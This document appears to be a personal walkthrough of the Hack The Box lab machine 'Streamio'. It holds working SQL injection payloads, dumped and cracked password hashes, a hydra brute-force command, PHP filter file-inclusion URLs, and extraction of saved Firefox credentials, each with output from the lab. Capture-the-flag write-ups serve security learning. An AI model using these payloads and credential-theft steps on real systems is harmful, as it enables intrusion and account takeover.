HTB(W) - Streamio

nmap

┌──(root㉿kali)-[~/box]
└─# nmap -sC -A -p- -T4 10.10.11.158 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-30 15:22 EDT
Nmap scan report for 10.10.11.158
Host is up (0.047s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-07-01 02:23:59Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp   open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| tls-alpn: 
|_  http/1.1
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Not valid before: 2022-02-22T07:03:28
|_Not valid after:  2022-03-24T07:03:28
|_http-title: Not Found
|_ssl-date: 2024-07-01T02:25:33+00:00; +7h00m00s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49702/tcp open  msrpc         Microsoft Windows RPC
60253/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (89%)
Aggressive OS guesses: Microsoft Windows Server 2019 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| smb2-time: 
|   date: 2024-07-01T02:24:54
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

TRACEROUTE (using port 53/tcp)
HOP RTT      ADDRESS
1   47.25 ms 10.10.14.1
2   47.30 ms 10.10.11.158

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 190.01 seconds

enumerating adfs:

nmap -n -sV --script "ldap* and not brute" -p 389 10.10.11.158 # ldap users brute
smbmap -u "" -p "" -P 445 -H 10.10.11.158 && smbmap -u "guest" -p "" -P 445 -H 10.10.11.158 # anon login to smb
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='streamIO.htb'" 10.10.11.158 #kerb brute users
┌──(root㉿kali)-[~/git/windapsearch]
└─# nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='streamIO.htb'" 10.10.11.158
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-30 18:16 EDT
Nmap scan report for 10.10.11.158
Host is up (0.047s latency).

PORT   STATE SERVICE
88/tcp open  kerberos-sec
| krb5-enum-users: 
| Discovered Kerberos principals
|_    administrator@streamIO.htb

big problem here was not putting fucking streamio.htb into /etc/hosts aswell as watch.streamio.htb into etc hosts

blind union based sql injection

Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) 
	Sep 24 2019 13:48:23 
	Copyright (C) 2019 Microsoft Corporation
	Express Edition (64-bit) on Windows Server 2019 Standard 10.0 <X64>

anyway we can sqli on watch.streamio.htb ; apparently sqlmap doesnt enjoy it though

Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) 
	Sep 24 2019 13:48:23 
	Copyright (C) 2019 Microsoft Corporation
	Express Edition (64-bit) on Windows Server 2019 Standard 10.0 x64

test sqli:

10' union select 1,2,3,4,5,6 -- -

cheated and used chatgpt a bit here:

### Step 1: Enumerate Databases

To list all databases:

sql

Copy code

`10' UNION SELECT 1, SCHEMA_NAME, 3, 4, 5, 6 FROM INFORMATION_SCHEMA.SCHEMATA -- -`

### Step 2: Enumerate Tables in a Specific Database

Replace `database_name` with the actual name of the database you want to enumerate tables from:

sql

Copy code

`10' UNION SELECT 1, TABLE_NAME, 3, 4, 5, 6 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='database_name' -- -`

### Step 3: Enumerate Columns in a Specific Table

Replace `table_name` with the actual name of the table you want to enumerate columns from:

`10' UNION SELECT 1, COLUMN_NAME, 3, 4, 5, 6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='table_name' -- -`

### Example Workflow

1. **List all databases:**
    
    sql
    
    Copy code
    
    `10' UNION SELECT 1, SCHEMA_NAME, 3, 4, 5, 6 FROM INFORMATION_SCHEMA.SCHEMATA -- -`
    
2. **List tables in a specific database (e.g., `my_database`):**
    
    sql
    
    Copy code
    
    `10' UNION SELECT 1, TABLE_NAME, 3, 4, 5, 6 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='my_database' -- -`
    
3. **List columns in a specific table (e.g., `my_table`):**
    
    sql
    
    Copy code
    
    `10' UNION SELECT 1, COLUMN_NAME, 3, 4, 5, 6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_N`

users table struct id,is_staff,password,username

databases:

db_accessadmin
3 
db_backupoperator
3 
db_datareader
3 
db_datawriter
3 
db_ddladmin
3 
db_denydatareader
3 
db_denydatawriter
3 
db_owner
3 
db_securityadmin
3 
dbo
3 
guest
3 
INFORMATION_SCHEMA
3 
sys

tables in dbo:


movies
3 
users

honestly chatgpt is a banger 10' UNION SELECT 1, CONCAT(id, ',', is_staff, ',', password, ',', username), 3, 4, 5, 6 FROM dbo.users -- - gives us all 4 of these columns in one row

10,1,3577c47eb1e12c8ba021611e1280753c ,Thane
11,1,35394484d89fcfdb3c5e447fe749d213 ,Carmon
12,1,54c88b2dbd7b1a84012fabc1a4c73415 ,Barry
13,1,fd78db29173a5cf701bd69027cb9bf6b ,Oliver
14,1,b83439b16f844bd6ffe35c02fe21b3c0 ,Michelle
15,1,0cfaaaafb559f081df2befbe66686de0 ,Gloria
16,1,b22abb47a02b52d5dfa27fb0b534f693 ,Victoria
17,1,1c2b3d8270321140e5153f6637d3ee53 ,Alexendra
18,1,22ee218331afd081b0dcd8115284bae3 ,Baxter
19,1,ef8f3d30a856cf166fb8215aca93e9ff ,Clara
20,1,3961548825e3e21df5646cafe11c6c76 ,Barbra
21,1,ee0b8a0937abd60c2882eacb2f8dc49f ,Lenord
22,1,0049ac57646627b8d7aeaccf8b6a936f ,Austin
23,1,8097cedd612cc37c29db152b6e9edbd3 ,Garfield
24,1,6dcd87740abb64edfa36d170f0d5450d ,Juliette
25,1,bf55e15b119860a6e6b5a164377da719 ,Victor
26,1,7df45a9e3de3863807c026ba48e55fb3 ,Lucifer
27,1,2a4e2cf22dd8fcb45adcb91be1e22ae8 ,Bruno
28,1,ec33265e5fc8c2f1b0c137bb7b3632b5 ,Diablo
29,1,dc332fb5576e9631c9dae83f194f8e70 ,Robin
3,1,c660060492d9edcaa8332d89c99c9239 ,James
30,1,384463526d288edcc95fc3701e523bc7 ,Stan
31,1,b779ba15cedfd22a023c4d8bcf5f2332 ,yoshihide

33,0,665a50ac9eaa781e4f7f04199db97a11 ,admin <---- probably the most interesting here

4,1,925e5408ecb67aea449373d668b7359e ,Theodore
5,1,083ffae904143c4796e464dac33c1f7d ,Samantha
6,1,08344b85b329d7efd611b7a7743e8a09 ,Lauren
7,1,d62be0dc82071bccc1322d64ec5b6c51 ,William
8,1,f87d3c0d6c8fd686aacc6627f1f493a5 ,Sabrina
9,1,f03b910e2bd0313a23fdd7575f34a694 ,Robert

https://crackstation.net/ 33,0,665a50ac9eaa781e4f7f04199db97a11 ,admin -> paddpadd

3577c47eb1e12c8ba021611e1280753c
35394484d89fcfdb3c5e447fe749d213
54c88b2dbd7b1a84012fabc1a4c73415
fd78db29173a5cf701bd69027cb9bf6b
b83439b16f844bd6ffe35c02fe21b3c0
0cfaaaafb559f081df2befbe66686de0
b22abb47a02b52d5dfa27fb0b534f693
1c2b3d8270321140e5153f6637d3ee53
22ee218331afd081b0dcd8115284bae3
ef8f3d30a856cf166fb8215aca93e9ff
3961548825e3e21df5646cafe11c6c76
ee0b8a0937abd60c2882eacb2f8dc49f

0049ac57646627b8d7aeaccf8b6a936f
8097cedd612cc37c29db152b6e9edbd3
6dcd87740abb64edfa36d170f0d5450d
bf55e15b119860a6e6b5a164377da719
7df45a9e3de3863807c026ba48e55fb3
2a4e2cf22dd8fcb45adcb91be1e22ae8
ec33265e5fc8c2f1b0c137bb7b3632b5
dc332fb5576e9631c9dae83f194f8e70
c660060492d9edcaa8332d89c99c9239
384463526d288edcc95fc3701e523bc7
b779ba15cedfd22a023c4d8bcf5f2332
665a50ac9eaa781e4f7f04199db97a11

925e5408ecb67aea449373d668b7359e
083ffae904143c4796e464dac33c1f7d
08344b85b329d7efd611b7a7743e8a09
d62be0dc82071bccc1322d64ec5b6c51
f87d3c0d6c8fd686aacc6627f1f493a5
f03b910e2bd0313a23fdd7575f34a694
Hash Type Result
3577c47eb1e12c8ba021611e1280753c md5 highschoolmusical
35394484d89fcfdb3c5e447fe749d213 Unknown Not found.
54c88b2dbd7b1a84012fabc1a4c73415 md5 $hadoW
fd78db29173a5cf701bd69027cb9bf6b Unknown Not found.
b83439b16f844bd6ffe35c02fe21b3c0 md5 !?Love?!123
0cfaaaafb559f081df2befbe66686de0 Unknown Not found.
b22abb47a02b52d5dfa27fb0b534f693 md5 !5psycho8!
1c2b3d8270321140e5153f6637d3ee53 Unknown Not found.
22ee218331afd081b0dcd8115284bae3 Unknown Not found.
ef8f3d30a856cf166fb8215aca93e9ff md5 %$clara
3961548825e3e21df5646cafe11c6c76 Unknown Not found.
ee0b8a0937abd60c2882eacb2f8dc49f md5 physics69i
0049ac57646627b8d7aeaccf8b6a936f Unknown Not found.
8097cedd612cc37c29db152b6e9edbd3 Unknown Not found.
6dcd87740abb64edfa36d170f0d5450d md5 $3xybitch
bf55e15b119860a6e6b5a164377da719 Unknown Not found.
7df45a9e3de3863807c026ba48e55fb3 Unknown Not found.
2a4e2cf22dd8fcb45adcb91be1e22ae8 md5 $monique$1991$
ec33265e5fc8c2f1b0c137bb7b3632b5 Unknown Not found.
dc332fb5576e9631c9dae83f194f8e70 Unknown Not found.
c660060492d9edcaa8332d89c99c9239 Unknown Not found.
384463526d288edcc95fc3701e523bc7 Unknown Not found.
b779ba15cedfd22a023c4d8bcf5f2332 md5 66boysandgirls..
665a50ac9eaa781e4f7f04199db97a11 md5 paddpadd
925e5408ecb67aea449373d668b7359e Unknown Not found.
083ffae904143c4796e464dac33c1f7d Unknown Not found.
08344b85b329d7efd611b7a7743e8a09 md5 ##123a8j8w5123##
d62be0dc82071bccc1322d64ec5b6c51 Unknown Not found.
f87d3c0d6c8fd686aacc6627f1f493a5 md5 !!sabrina$
f03b910e2bd0313a23fdd7575f34a694 Unknown Not found.
!!sabrina$
##123a8j8w5123##
paddpadd
66boysandgirls..
$monique$1991$
$3xybitch
physics69i
%$clara
!5psycho8!
!?Love?!123
$hadoW
highschoolmusical
thane
carmon
barry
oliver
michelle
gloria
victoria
alexendra
baxter
clara
barbra
lenord
austin
garfield
juliette
victor
lucifer
bruno
diablo
robin
james
stan
yoshihide
admin
theodore
samantha
lauren
william
sabrina
robert

using hydra to bruteforce a login

hydra -L users.txt -P pws.txt streamio.htb https-post-form "/login.php:username=^USER^&password=^PASS^:F=Login failed"

[DATA] attacking http-post-forms://streamio.htb:443/login.php:username=^USER^&password=^PASS^:F=Login failed
[443][http-post-form] host: streamio.htb   login: yoshihide   password: 66boysandgirls..

we login with yoshi and get an admin panel, but not a whole lot that is interesting. we fuzz the parameters in the URL (see lessons below) and get some stuff to mess with:

debug                   [Status: 200, Size: 1712, Words: 90, Lines: 50, Duration: 45ms]
movie                   [Status: 200, Size: 320235, Words: 15986, Lines: 10791, Duration: 51ms]
staff                   [Status: 200, Size: 12484, Words: 1784, Lines: 399, Duration: 48ms]
user                    [Status: 200, Size: 2073, Words: 146, Lines: 63, Duration: 46ms]
Using a PHP wrapper we can attempt to perform Local File Inclusion to see if the site is vulnerable. Decoding the contents of the index.php discloses some credentials and some information about the routing. https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php

index.php "Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890' search.php $connection = array("Database"=>"STREAMIO", "UID" => "db_user", "PWD" => 'B1@hB1@hB1@h');

Invalid object name 'streamio_backup.users'.
PS C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn> ./SQLCMD.exe -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select * from users"
./SQLCMD.exe -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select * from users"
id          username                                           password                                          
----------- -------------------------------------------------- --------------------------------------------------
          1 nikk37                                             389d14cb8e4e9b94b137deb1caf0612a                  
          2 yoshihide                                          b779ba15cedfd22a023c4d8bcf5f2332                  
          3 James                                              c660060492d9edcaa8332d89c99c9239                  
          4 Theodore                                           925e5408ecb67aea449373d668b7359e                  
          5 Samantha                                           083ffae904143c4796e464dac33c1f7d                  
          6 Lauren                                             08344b85b329d7efd611b7a7743e8a09                  
          7 William                                            d62be0dc82071bccc1322d64ec5b6c51                  
          8 Sabrina                                            f87d3c0d6c8fd686aacc6627f1f493a5 
nikk37:389d14cb8e4e9b94b137deb1caf0612a                  
yoshihide:b779ba15cedfd22a023c4d8bcf5f2332                  
James:c660060492d9edcaa8332d89c99c9239                  
Theodore:925e5408ecb67aea449373d668b7359e                  
Samantha:083ffae904143c4796e464dac33c1f7d                  
Lauren:08344b85b329d7efd611b7a7743e8a09                  
William:d62be0dc82071bccc1322d64ec5b6c51                  
Sabrina:f87d3c0d6c8fd686aacc6627f1f493a5 
SMB         10.10.11.158    445    DC               [+] streamIO.htb\nikk37:get_dem_girls2@yahoo.com 

we pass the new passwords around using crackmapexec

PS C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn> net user nikk37
net user nikk37
User name                    nikk37
Full Name                    
Comment                      
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2/22/2022 2:57:16 AM
Password expires             Never
Password changeable          2/23/2022 2:57:16 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   7/2/2024 4:02:54 AM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *Domain Users  

we login to nikk37 and enumerate a bit, find firefox and checkout if theres any mozilla profiles


*Evil-WinRM* PS C:\Users\nikk37\AppData\roaming\mozilla\Firefox\profiles> ls


    Directory: C:\Users\nikk37\AppData\roaming\mozilla\Firefox\profiles


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        2/22/2022   2:40 AM                5rwivk2l.default
d-----        2/22/2022   2:42 AM                br53rxeg.default-release

https://github.com/lclevy/firepwd

this gives us some new pws to pass around:

ecrypting login/password pairs
https://slack.streamio.htb:b'admin',b'JDg0dd1s@d0p3cr3@t0r'
https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:)'
https://slack.streamio.htb:b'yoshihide',b'paddpadd@12'
https://slack.streamio.htb:b'JDgodd',b'password@12'

and netexec confirms there's some valid passwords: SMB 10.10.11.158 445 DC [+] streamIO.htb\JDgodd:JDg0dd1s@d0p3cr3@t0r

unfortunately we can't use this for evil-winrm because jdgodd is not a part of the remote user group

I’ll use [bloodhound-python](https://github.com/fox-it/BloodHound.py) to collect Bloodhound active directory data:

now lets spin up bloodhound https://www.kali.org/tools/bloodhound/

set my neo4j pw to `pirate-native-bucket-plastic-summer-4505

https://0xdf.gitlab.io/2022/09/17/htb-streamio.html We are logged in to winrm as user nik337 and have valid credentials for jdgodd jdgodd does NOT have remote access privs. so we need to spawn creds

creating a credential object with powerview

[[Powerview#creating a credential object with powerview]]

lessons

ffuf -w /opt/seclists/Discovery/Web-Content/burp-parameter-names.txt -u 'https://streamio.htb/admin/?FUZZ=' -b PHPSESSID=hcdd0gnsrol8opisb09o09b9ah --fs 1678